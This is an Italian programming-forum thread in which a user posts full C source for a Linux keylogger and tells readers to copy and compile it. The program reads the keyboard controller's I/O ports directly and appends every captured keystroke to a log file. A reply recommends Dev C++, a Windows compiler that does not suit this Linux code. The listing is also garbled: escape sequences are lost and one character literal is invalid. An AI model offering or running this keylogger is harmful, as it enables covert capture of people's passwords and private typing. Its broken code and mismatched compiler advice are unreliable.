Come realizzare un keylogger in C..

Qui si parla dei linguaggi di programmazione: C, C++, C#.

Come realizzare un keylogger in C..

Messaggiodi ago1980 » 07/11/2009, 1:19

Come realizzare un keylogger completo in C..
Codice: Seleziona tutto
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>

#define KB_IO   0x60
#define KB_STATUS       0x64
#define SLEEP_T 50

const char get_key(int code)  {
       if ((code>=2) && (code<=10))
               return (char) code+29;

       switch (code)  {
               case(11):        return '0'; break;
               case(12):        return ''';break;
               case(13):        return 'ì'; break;
               case(14):        return 'b';break;
               case(15):        return 't';break;
               case(16):        return 'q'; break;
               case(17):        return 'w'; break;
               case(18):        return 'e'; break;
               case(19):        return 'r'; break;
               case(20):        return 't'; break;
               case(21):        return 'y'; break;
               case(22):        return 'u'; break;
               case(23):        return 'i'; break;
               case(24):        return 'o'; break;
               case(25):        return 'p'; break;
               case(26):        return 'è'; break;
               case(27):        return '+'; break;
               case(28):        return 'n';break;
               case(30):        return 'a'; break;
               case(31):        return 's'; break;
               case(32):        return 'd'; break;
               case(33):        return 'f'; break;
               case(34):        return 'g'; break;
               case(35):        return 'h'; break;
               case(36):        return 'j'; break;
               case(37):        return 'k'; break;
               case(38):        return 'l'; break;
               case(39):        return 'ò'; break;
               case(40):        return 'à'; break;
               case(42):        return '<'; break;
               case(43):        return 'ù'; break;
               case(44):        return 'z'; break;
               case(45):        return 'x'; break;
               case(46):        return 'c'; break;
               case(47):        return 'v'; break;
               case(48):        return 'b'; break;
               case(49):        return 'n'; break;
               case(50):        return 'm'; break;
               case(51):        return ','; break;
               case(52):        return '.'; break;
               case(53):        return '-'; break;
               case(57):        return ' '; break;
       }

       return 0;
}

int main (int argc, char **argv)  {
       int lastcode=0,code=0;
       FILE *fp;

       if (argc!=2)  {
               printf ("%­s <logfile>n",argv[0]);
               return 1;
       }

       if (!(fp=fopen(argv[1],"a")))  {
               printf ("Impossibile scrivere su %­sn",argv[0]);
               return 2;
       }

       if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1)  {
               printf ("Impossibile accedere alla porta di I/O della tastieran");
               return 3;
       }

       while(1)  {
               code=0;

               if (inb(KB_STATUS)==20)
                       code=inb(KB_IO);

               if (code)  {
                       if (code!=lastcode)  {
                               lastcode=code;

                               if (get_key(code))  {
                                       fprintf (fp,"%c",get_key(code));
                                       fflush (fp);
                               }
                       }
               }

               usleep(SLEEP_T);
       }
}

ora copiate il code in un blocco note poi salvate e rinominate keyloggerv.c
ora nn dovete far altro che compilare il code con un compilatote in C..
Immagine
ago1980
 
Messaggi: 22
Iscritto il: 15/06/2009, 20:39

Re: Come realizzare un keylogger in C..

Messaggiodi O'Snello » 07/11/2009, 21:05

come compilatore consiglio il DEV C++ scaricabile da qui
O'Snello
 
Messaggi: 12
Iscritto il: 29/10/2009, 21:26
Località: Flash 0 Di una PSP Fat


Torna a C, C++, C#

Chi c’è in linea

Visitano il forum: Nessuno e 1 ospite

cron